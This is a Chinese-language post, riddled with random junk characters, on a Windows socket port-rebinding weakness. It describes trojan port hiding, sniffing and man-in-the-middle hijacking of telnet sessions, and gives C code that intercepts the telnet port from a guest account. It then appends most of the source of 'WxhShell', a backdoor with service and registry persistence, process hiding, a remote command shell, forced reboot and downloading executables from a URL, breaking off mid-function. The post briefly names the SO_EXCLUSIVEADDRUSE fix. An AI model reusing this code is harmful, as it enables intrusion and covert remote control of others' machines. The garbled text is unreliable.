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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: NUO#[7OK+x s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); e1<9:h+ (YV]T!q saddr.sin_family = AF_INET; qjr:(x / scc+r saddr.sin_addr.s_addr = htonl(INADDR_ANY); 84f(B E d/"%fpp^0G bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 7sX#6`t CMhl* dH 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 6o:b(v&Oo PF+ F^;C 这意味着什么?意味着可以进行如下的攻击: wI5(`_l{G I K9plsd* 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Oj=g;iY ]F{F+r 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) #]rfKHW9 G;ihm$Cad 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 QLm#7ms*y ,+P2B%2c 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 'G1~
A + yac4\%ze 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 :$=]*54`T + *W%4e 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 "g5<j p y&n-8L_ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 5)c B\N1u Lo<WK #include ?]%ZJd #include gB<1;_KW #include m2a[E0 #include ul-O3]\'@ DWORD WINAPI ClientThread(LPVOID lpParam); lRANXM int main() /Moyn"Kj{ { $6l^::U WORD wVersionRequested; N,bH@Q.Ci DWORD ret; :R'={0Jg WSADATA wsaData; 2^X<n{0N) BOOL val; t5aX9WIW SOCKADDR_IN saddr; pP-L{bT SOCKADDR_IN scaddr; NwcRH9};i int err; &W8fEQwa SOCKET s; |4C5;"P c SOCKET sc; <YM!K8hu$ int caddsize; h.pVIO` HANDLE mt; %j o,Gv DWORD tid; jX7;hQ+P wVersionRequested = MAKEWORD( 2, 2 ); swz)gh-* err = WSAStartup( wVersionRequested, &wsaData ); :@b=; if ( err != 0 ) { D nl|B\ printf("error!WSAStartup failed!\n"); 'WNq/z"X return -1; tjLG$M1z` } v8"Zru saddr.sin_family = AF_INET; z8dBfA<z N0pA ,& //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ;S9
z@`a. *L&|4|BF2 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); lqcPV) n saddr.sin_port = htons(23); W5uC5C*,l if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) bXz*g`=; { <CcSChCg printf("error!socket failed!\n"); hRQw] return -1; v=_Ds<6n } en"\2+{Cg val = TRUE; cK- jN9U //SO_REUSEADDR选项就是可以实现端口重绑定的 `.g'bZ<v/ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) j;<s!A#
{ ]pWn%aGv*Y printf("error!setsockopt failed!\n"); J1R5_b return -1; 2"QcjFW% } }vb.>hy //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; z%;_h- //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 lMmP]{.>$ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 C';Dc4j GP(nb, if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 65vsQ|Zw { #~o<9O ret=GetLastError(); Hf+oG printf("error!bind failed!\n"); *EPJeblAV return -1;
6o1[fr } 9T\\hM)k listen(s,2); !S'!oinV while(1) J'%W_?wZ { z:8ieJ)C caddsize = sizeof(scaddr); x21XzGLY|} //接受连接请求 GMY[Gd sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); mT>RQ. if(sc!=INVALID_SOCKET) -;O"Y?ME { OYfRtfE mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); u}?|d8$h\ if(mt==NULL) R_=fH\c; { _ mgu
r printf("Thread Creat Failed!\n"); p@?ud% break; CHVAs9mrNB } [4Q;5 'Dj } yBCLS550 CloseHandle(mt); BQ=JZ4& } t:P]G>)x| closesocket(s); ,b<m],p WSACleanup(); mYqLqezAA return 0; \.?'y71 } .IsOU DWORD WINAPI ClientThread(LPVOID lpParam) yJ>Bc { g'9~T8i& ^ SOCKET ss = (SOCKET)lpParam; 4,&f#=Y SOCKET sc; 1*f/Y9 Z unsigned char buf[4096]; 09=w SOCKADDR_IN saddr; JF'<"" long num; DB0?H+8t DWORD val; g)}q3-<AK> DWORD ret; e35 ")z~ //如果是隐藏端口应用的话,可以在此处加一些判断 M}`T-"qf //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 jw)c|%r> saddr.sin_family = AF_INET; L lD=c saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); w3;T]R* saddr.sin_port = htons(23); |+Xh ^E if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) hbSKlb0d { y"iK)SH printf("error!socket failed!\n"); 94?/Rhs5 return -1; mln%Rd6u/ } S3Fj /2Q8 val = 100; s6D Pb_, if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) x=N0H { !FQS9SoO9 ret = GetLastError(); HP=5a. return -1; A~;.9{6J[t } +E+I.}sOB if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ([ A%>u>h { yQq|!'MK k ret = GetLastError(); qykI[4 return -1; [;#^h/5E } Bw.?Me)mf| if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) D7Ds*X`!l { g(R!M0hdF printf("error!socket connect failed!\n"); P!!:p2fo closesocket(sc); JHuA}f{2& closesocket(ss); [4-u{Tu return -1; JmuoYl f| } !
QKec while(1) L>rW S-
{ +D?Re%HI //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 uFG ;AY| //如果是嗅探内容的话,可以再此处进行内容分析和记录 0xV[C4E[6 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 LAGg(:3f3 num = recv(ss,buf,4096,0); b~?3HY:t~K if(num>0) C9j5Pd5q1L send(sc,buf,num,0); "uBr]N: else if(num==0) :eBp`dmn break; \wp8kSzC num = recv(sc,buf,4096,0); } 7i}dyQv} if(num>0) 7U-?Rd send(ss,buf,num,0); 3=_to7] else if(num==0) 1#x@ break; lgC^32y } D7C%Y^K]>E closesocket(ss); 7H. HiyppW closesocket(sc); f.RwV+lq return 0 ; 85](,YYz } { /Gm|*e{ W|6.gN] GFZx[*+%%z ========================================================== bQwiJ`B& \V*E:_w* 下边附上一个代码,,WXhSHELL wEEFpn_ >+S* Wtm5 ========================================================== 84gj%tw'- Ws[d. El #include "stdafx.h" *B+YG^Yu^ X'5+)dj #include <stdio.h> u2 U4MV1C
#include <string.h> 7T?7KS #include <windows.h> P#2;1ki> #include <winsock2.h> EU()Nnm2 #include <winsvc.h> ?D]T|=EZY #include <urlmon.h> !e0/1 j= !Op18hP$ #pragma comment (lib, "Ws2_32.lib") }J:WbIr0! #pragma comment (lib, "urlmon.lib") eS"sd^;R Y0nuwX*{ #define MAX_USER 100 // 最大客户端连接数 fQ,(,^!; #define BUF_SOCK 200 // sock buffer 9'!I6;M #define KEY_BUFF 255 // 输入 buffer pl.=u0 * <~Tfi*^+ #define REBOOT 0 // 重启 !7anJl #define SHUTDOWN 1 // 关机 MM Nz2DEy[ D"n
3If% #define DEF_PORT 5000 // 监听端口 dUpOg{I.x 1I U*:Z;Rz #define REG_LEN 16 // 注册表键长度 Alb5#tm:m #define SVC_LEN 80 // NT服务名长度 ]TKM.[[ Gp))1b'; // 从dll定义API ,lw<dB@7"5 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); XJf1LGT5 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /J'dG% typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); A\<WnG>xjP typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *!+?%e{;b 0 }aw9g // wxhshell配置信息 <txzKpM struct WSCFG { 5$f*fMd; int ws_port; // 监听端口 HltURTbI char ws_passstr[REG_LEN]; // 口令 ,_yf5 a int ws_autoins; // 安装标记, 1=yes 0=no As*59jkB char ws_regname[REG_LEN]; // 注册表键名 lb`2a3W/ char ws_svcname[REG_LEN]; // 服务名 y8\4TjS1 char ws_svcdisp[SVC_LEN]; // 服务显示名 |h%fi-a: char ws_svcdesc[SVC_LEN]; // 服务描述信息 ZBfB4<M9xS char ws_passmsg[SVC_LEN]; // 密码输入提示信息 zXg/.z] int ws_downexe; // 下载执行标记, 1=yes 0=no zgHF-KEV char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" <S
M%M? char ws_filenam[SVC_LEN]; // 下载后保存的文件名 qxglA*/
[ -%)8= }; rDWqJ<8 W>]=0u4 // default Wxhshell configuration `'<&<P struct WSCFG wscfg={DEF_PORT, (6\
H~ "xuhuanlingzhe", [+v}V ,jb 1, D`uOBEX "Wxhshell", Mkadl< "Wxhshell", s&*s9F "WxhShell Service", xo*[
g`N "Wrsky Windows CmdShell Service", '|N9xLm "Please Input Your Password: ", dCH(N_ 1, Gu136XiX " http://www.wrsky.com/wxhshell.exe", a"0'cgB} "Wxhshell.exe" z"lRfOWI }; jP|(y]! T Jp0^&Q // 消息定义模块 :j0r~*z- char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (s.S
n(E char *msg_ws_prompt="\n\r? for help\n\r#>"; {pNf&' char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; 9}6^5f?| char *msg_ws_ext="\n\rExit."; =2[U4<d!R char *msg_ws_end="\n\rQuit."; yasKU6^R' char *msg_ws_boot="\n\rReboot..."; gT6@0ANq char *msg_ws_poff="\n\rShutdown..."; .EUOKPK4W char *msg_ws_down="\n\rSave to "; K%"cVqb2V 0UT2sM$ char *msg_ws_err="\n\rErr!"; ?QXo]X;f& char *msg_ws_ok="\n\rOK!"; D2}nJFR
] &D~70N\L char ExeFile[MAX_PATH]; ,*@6NK,. int nUser = 0; bbU{ />yW HANDLE handles[MAX_USER]; ,, G6L{&Z int OsIsNt; ,M&[c| tJ9i{TS SERVICE_STATUS serviceStatus; W:16qbK SERVICE_STATUS_HANDLE hServiceStatusHandle; j/xL+Y(= ,HdFE| // 函数声明 <C_FI` wk int Install(void); #wZ:E,R int Uninstall(void); AyMMr_q int DownloadFile(char *sURL, SOCKET wsh); hol54)7$3: int Boot(int flag); ii@O&g void HideProc(void); DOm5 azO!> int GetOsVer(void); B[0XzV]Z int Wxhshell(SOCKET wsl); %%w]-`^h, void TalkWithClient(void *cs); 3q.O^`y FU int CmdShell(SOCKET sock); hOSkxdi*^ int StartFromService(void); (9J,Qs[; int StartWxhshell(LPSTR lpCmdLine); #ab=]}2W_g Mb(aI!;A VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^KJIT3J(# VOID WINAPI NTServiceHandler( DWORD fdwControl ); Gm.n@U p ]l'W=_XDg // 数据结构和表定义 @E$PjdB5M SERVICE_TABLE_ENTRY DispatchTable[] = )5j%." { t>T |\WAAL {wscfg.ws_svcname, NTServiceMain}, f9g#pyH4 {NULL, NULL} $Q|t^( }; ?q<"!U|e A8R}W= // 自我安装 Osdw\NNH~M int Install(void) ?b~V uo { v&B*InR?+ char svExeFile[MAX_PATH]; YQ_3[[xT HKEY key; Z?5kO-[ strcpy(svExeFile,ExeFile); \S@;>A<J '%`Wy@ // 如果是win9x系统,修改注册表设为自启动 {qCmZn5 if(!OsIsNt) { WKQVT I&A. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #<bt}Tht RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *Ki ],>_~ RegCloseKey(key); u9FXZK7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +]Y&las RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +t
R6[% RegCloseKey(key); $3sS&i< return 0; !0~$u3[b } Fr)G
h> } u4=j!Zb8} } |wZ8O}O{E else { z1ltc{~Z }06
// 如果是NT以上系统,安装为系统服务 Yo
c N@s SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #s1O(rLRl if (schSCManager!=0) vvLm9Tw { Poacd;* SC_HANDLE schService = CreateService rs3Uk.Z^' ( Dm6}$v'0 schSCManager,
tqE LF wscfg.ws_svcname, .Mw'P\GtM wscfg.ws_svcdisp, b$nXljV4? SERVICE_ALL_ACCESS, i=-zaboo SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4XDR?KUM SERVICE_AUTO_START, +'?p $@d SERVICE_ERROR_NORMAL, :xfD>K svExeFile, tZ[Y~],F NULL, PY.c$)az> NULL, `av8|; NULL, 8ltHR]v NULL, iZQwo3"8r NULL ](vshgp2 ); l/_3H\iM if (schService!=0) !=#E/il, { 0CxQ@~ttl CloseServiceHandle(schService); A?3hNvfx CloseServiceHandle(schSCManager); lkV%
k1w strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :Q sGwhB strcat(svExeFile,wscfg.ws_svcname); gO?+:}! if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /b20!3 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); pK#Ze/! RegCloseKey(key); SG8H~]CO) return 0; hNXPm~OK\ } YZf<S: } f8)D| CloseServiceHandle(schSCManager); b1jh2pG(V } UHz*Tfjb } .
x~tEe E) >~0jv return 1; +}X?+Epm } rB|D^@mG ;"&^ckP // 自我卸载 zGu(y@o int Uninstall(void)
= Ow}MX { fEdQR-> HKEY key; \0Zm3[ *L/_ v if(!OsIsNt) { r^&{0c&o if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 46*o_A,"
RegDeleteValue(key,wscfg.ws_regname); Ywt_h;: RegCloseKey(key); 8UoMOeI3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7[QU
*1bk RegDeleteValue(key,wscfg.ws_regname); __$IbF5 RegCloseKey(key); =A<kDxqH return 0; dh%C@n:B } \i "I1xU } O1coay }
"=H7p3 else { #;a
1=8H 7(eWBJfTo SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Fg?Gx(g4 if (schSCManager!=0) +GgWd=X.Y { LDW":k| SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |v}"UW(y if (schService!=0) W{Ie(hf { `,aPK/ if(DeleteService(schService)!=0) { ?)7uwJsH CloseServiceHandle(schService); N6$pOQ CloseServiceHandle(schSCManager); G[r_|-^S return 0; 4*lShkL } $uawQf+S CloseServiceHandle(schService); 8N!E`{W } ]}8<h5h) CloseServiceHandle(schSCManager); ._-^58[ } &m`1lxT } P`5@$1CJ \)DP(wC return 1; f$iv+7<B^ } e1S |&W8 vX)JJ|g // 从指定url下载文件 q>%KIBh( int DownloadFile(char *sURL, SOCKET wsh) wtetB')yD { /P5w}n HRESULT hr; a
=*(>= char seps[]= "/"; NUEy0pLw char *token; OTL=(k char *file; 5Qo\0YH char myURL[MAX_PATH]; ~LuZpV char myFILE[MAX_PATH]; N/TUcG|m\ }qG{1Er strcpy(myURL,sURL); S$+vRX7 token=strtok(myURL,seps); ,4jkTQ*@2 while(token!=NULL) wZh&w<l' { @xmO\ file=token; ['sj'3cW- token=strtok(NULL,seps); iT%aAVs } Va\dMv-b qWGnIPk GetCurrentDirectory(MAX_PATH,myFILE); n(/(F` strcat(myFILE, "\\"); V
z8o strcat(myFILE, file); jB:$+k|~. send(wsh,myFILE,strlen(myFILE),0); *&+e2itmp send(wsh,"...",3,0); 5iz]3]}% hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); IBcCbNs! if(hr==S_OK) ~{0:`)2FQ return 0; 4Ucg<Z&% else g6IG>) return 1; '49&qO5B 7qA0bUee5 } nY'0*:'u 1<fS&)^W // 系统电源模块 y!6B Gz int Boot(int flag) \$/)o1SG { x:88E78 HANDLE hToken; 7;#9\a:R? TOKEN_PRIVILEGES tkp; {xW?v; Q$Ga.fI if(OsIsNt) { 7$<.I#x OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); wXMKQ)$( LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); KF|+#qCN tkp.PrivilegeCount = 1; n&D<l '4 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Z%y>q|: AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2^bq4c4J if(flag==REBOOT) { |[CsLn; if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \acJ9N return 0; U,LW(wueT } j5|_SQOmt else { LU l6^JU if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :@r E& return 0; BDNn~aU#m } P_B# } 6B)(kPW else { ~.u}v~
F if(flag==REBOOT) { T(MS,AyD] if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Sav]Kxq{ return 0; 9AD`,]b } C~ t?< else { am{f<v,EI if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) oN)l/"%C7/ return 0; K19/M1~ } h8Q+fHDYv } X]U,`oE)9 QzPq^ return 1; =MEv{9_ } 5DK>4H: K}tl,MMU // win9x进程隐藏模块 PBbJfm void HideProc(void) yQ}$G
,x { l)[\TD
n1 =B HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); T1m"1Q if ( hKernel != NULL ) QM2Y?."# { ;n%SjQ'% pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8>x!n/z) ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); '3 w=D
) FreeLibrary(hKernel); "^F#oo%L } NeAkJG=< svCD&~|K# return; Y ( x_bJ } %obR2% %'a%ynFs // 获取操作系统版本 <+o-{{E[ int GetOsVer(void) jl;_lcO
{ rL3<r OSVERSIONINFO winfo; mEfI2P)#| winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); dF:@BEo GetVersionEx(&winfo); QO0}-wZR if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ']Gqa$(YC return 1; k__i Jsk else XAwo~E return 0; oGM Ls } A-^[4&rb Q1jU{ // 客户端句柄模块 N+ZDQa[ int Wxhshell(SOCKET wsl) )uC],CbW{ { #qrZ(,I@n SOCKET wsh; ."&,_F struct sockaddr_in client; id<i|
DWORD myID; SNV~;@(h )Fx"S.Ok while(nUser<MAX_USER) 9] fhH { reR ><p int nSize=sizeof(client); C,~wmS )@ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1j0OV9 -| if(wsh==INVALID_SOCKET) return 1; \ZX5dFu0 h[#Lg3 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); i]J*lM7' if(handles[nUser]==0) g}"`@H(9r3 closesocket(wsh); xI}o8G KQq else o(w!x![" nUser++; k4fc5P } .)
uUpY%K^ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); BZejqDr* |z\5Ik!fF] return 0; |x@)%QeC } 7[h_"@_A7 XK??5'&{ // 关闭 socket &[:MTK?x! void CloseIt(SOCKET wsh) ;Pf
|\q { sd9$4k" closesocket(wsh); gNF8&T nUser--; F1) B-wW ExitThread(0); vQ/}E@?u } PLU8:H@X nlmc/1C // 客户端请求句柄
*vt5dxB void TalkWithClient(void *cs) B!-hcn]y { E9z^# @s =y-L'z&r SOCKET wsh=(SOCKET)cs; M4
SJnE char pwd[SVC_LEN]; rCfr&>nn char cmd[KEY_BUFF]; <6QG7i char chr[1]; uMVM- (g% int i,j; %|E'cdvkX nfpkWyI u{ while (nUser < MAX_USER) { `q|&;wP. mAMi-9 if(wscfg.ws_passstr) { VeiJ1=hc if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JLUG=x(dA //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Py7!_TX //ZeroMemory(pwd,KEY_BUFF); ?3X! i=0; ddvSi6 while(i<SVC_LEN) { pYZ6-s fHhm)T8KB // 设置超时 Atl`J.;G fd_set FdRead; :W]?6= struct timeval TimeOut; !`=ms1%U FD_ZERO(&FdRead); e9e%8hL FD_SET(wsh,&FdRead); KiW4>@tY TimeOut.tv_sec=8; #:C;VAAp TimeOut.tv_usec=0; ASmMj;>UM int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <"A|Xv'Q if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !<r+h,C 8 2qf7` if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HDQhXw!!hc pwd =chr[0]; \{r-e if(chr[0]==0xd || chr[0]==0xa) { Ft%HWGE pwd=0; vzV,}
S*c break; n][/c_]q } U
|I>CDp i++; SY\ UuZ } S<}2y 9F
].F7.
zi // 如果是非法用户,关闭 socket zRTR if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :#D?b.= } Vp8t8X1` s2f95<B send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); J)1:jieQ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lyGQ6zlSn 79 zFF while(1) { 272j$T C
yg e ZeroMemory(cmd,KEY_BUFF); #oRm-yDr +. /c=o/v // 自动支持客户端 telnet标准 XMhDx j=0; Y[%1?CREP while(j<KEY_BUFF) { HScj
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]jbQou@ cmd[j]=chr[0]; GMmz`O
XN if(chr[0]==0xa || chr[0]==0xd) { g8^\| cmd[j]=0; W>C!V break; h(}$-' g } dWHl<BUm j++; v|5:;,I } `nBCCz'Y! nQ|4.e; // 下载文件 FR~YO|4? if(strstr(cmd,"http://")) { iVq4&X_x send(wsh,msg_ws_down,strlen(msg_ws_down),0); ").MU[q%Y if(DownloadFile(cmd,wsh)) .d<
+-w2Mu send(wsh,msg_ws_err,strlen(msg_ws_err),0); <viIpz2jh% else u@|izRk send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _&S?uz m } ;>^oe:@ else { iku8T*&uc 0kN;SSX! switch(cmd[0]) { JA W}]:jC tX;00g;U. // 帮助 .G[y^w)w} case '?': { o(xRq;i send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #_yQv? J break; rfqw/o } Gvo(iOU // 安装 @$FE}j_ case 'i': { |1^>n,C if(Install()) 3wXmX send(wsh,msg_ws_err,strlen(msg_ws_err),0); >Gbj1>C} else EtN@ 6xP send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bc}X.IC break; vW4~\] } TR!^wB<F // 卸载 1);$#Dlt
k case 'r': { 7q bGA K if(Uninstall()) B5J!&suX send(wsh,msg_ws_err,strlen(msg_ws_err),0); QS2J271E} else [?)=3Pp send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hW*2Le!I break; DO<eBq\O } VM{`CJ2 // 显示 wxhshell 所在路径 "=4`RM case 'p': { HZMs],GX char svExeFile[MAX_PATH]; QX(x6y>Q strcpy(svExeFile,"\n\r"); $>E\3npV strcat(svExeFile,ExeFile); "bZV<;y6 send(wsh,svExeFile,strlen(svExeFile),0); \8\)5#? break; f.V;Hl, } MWf ]U // 重启 V~LZ%NZ8 case 'b': { YArNJ5z= send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); x4v@Kk/ if(Boot(REBOOT)) w+VeT @ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8+vZ9!7 else { L'{;V\d closesocket(wsh); A.7:.5Cx' ExitThread(0); lhg3
}dW } T!$7:% D break; zb9^ii$g } jB }O6u[% // 关机 9fD4xkRS case 'd': { )/k0*:OMyO send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0z?b5D; if(Boot(SHUTDOWN)) ^}; 4r send(wsh,msg_ws_err,strlen(msg_ws_err),0); n<MMO=+bg else { XfA3Ez,} closesocket(wsh); ~^/zCPy[w ExitThread(0); D^Dm, - } r`u}n break; rUfW0 } 3{_A zL // 获取shell lJ]r%YlF case 's': { !f_GR Pj' CmdShell(wsh); P# 2&?.d\ closesocket(wsh); 2=ZR}8}9Q: ExitThread(0); Z+ubc"MVb break; mY-Z$8r } KtJE // 退出 ZWMX!>o< case 'x': { WrbDB-uM send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); O$x-&pW`g CloseIt(wsh); 8o8FL~&] break; m^zx& } 1!/+~J[# // 离开 {frEVHw case 'q': { WO*yJ`9] send(wsh,msg_ws_end,strlen(msg_ws_end),0); I Vy,A7f closesocket(wsh); )6)|PzMQ' WSACleanup(); j)\g0u6 exit(1);
7'FDI`e[ break; X:-X3mV9{ } 3(P^PP8 } 475yX-A }
N>`+{ kF'^!Hp // 提示信息 #1Mk9sxo if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EZ #UdK_ } Y0BvN`E } @RotJl/> O;[PEV~ return; BEvSX|M>x } )DMu`cD )ufHk // shell模块句柄 %Hv$PsSJ int CmdShell(SOCKET sock) yb/<
7 { W9 y8dw. STARTUPINFO si; Orh5d7+S ZeroMemory(&si,sizeof(si)); yp5*8g5 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3M{!yPlj si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rP ;~<IxEr PROCESS_INFORMATION ProcessInfo; (Wr;:3i char cmdline[]="cmd"; 'R_U,9y` CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); D,xWc|V return 0; qt]QO1pAd } v,vTRrpK 0!=e1_ // 自身启动模式 .Q"3[ int StartFromService(void) OdQ>h$ gZ { o0 -e,F>u typedef struct XBhWj\`(T { J'9&dt DWORD ExitStatus; "W6nW DWORD PebBaseAddress; + WPi} DWORD AffinityMask; yG&kP:k< DWORD BasePriority; S "oUE_> ULONG UniqueProcessId; <6/XE@" ULONG InheritedFromUniqueProcessId; q<>2}[W } PROCESS_BASIC_INFORMATION; f<SSg*A; x+B~ t4A PROCNTQSIP NtQueryInformationProcess; dQM# -t4* Y'fI4 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 'G(N,vu[@ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; oE#HI2X #BS]wj2# HANDLE hProcess; z+" :,# PROCESS_BASIC_INFORMATION pbi; }#!o^B8 =)M 8>>l HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -Kg@Sj/U}R if(NULL == hInst ) return 0; 'lC"wP&$ PkDL\Nqe g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); x|0Q\<mEe 